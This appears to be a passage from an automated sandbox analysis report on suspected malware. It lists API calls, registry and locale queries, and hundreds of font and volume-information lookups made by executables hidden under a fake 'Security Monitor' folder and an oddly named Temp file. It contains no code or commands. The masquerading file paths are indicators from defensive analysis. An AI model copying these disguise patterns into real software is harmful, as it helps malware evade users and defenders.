Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Code function: 67_2_00ECEE90 cpuid

67_2_00ECEE90

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: GetUserDefaultUILanguage,GetLocaleInfoW,	53_2_0040AD50
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	53_2_0040A298
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpy,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpy,LoadLibraryExA,lstrcpy,LoadLibraryExA,lstrcpy,LoadLibraryExA,	53_2_033C4CB8
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: lstrcpy,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpy,LoadLibraryExA,lstrcpy,LoadLibraryExA,lstrcpy,LoadLibraryExA,	53_2_033C4D8A
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: GetLocaleInfoA,	53_2_033C9C9C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
